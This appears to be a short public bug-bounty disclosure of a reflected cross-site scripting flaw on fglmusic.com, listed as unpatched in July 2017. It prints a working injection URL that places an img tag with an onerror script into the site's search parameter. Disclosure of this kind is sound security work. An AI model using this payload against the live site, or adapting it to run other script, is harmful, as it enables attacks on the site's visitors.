fglmusic.com XSS vulnerability

Vulnerable URL: http://www.fglmusic.com/resultat.php?q=%3C/h1%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2949814 VIP website...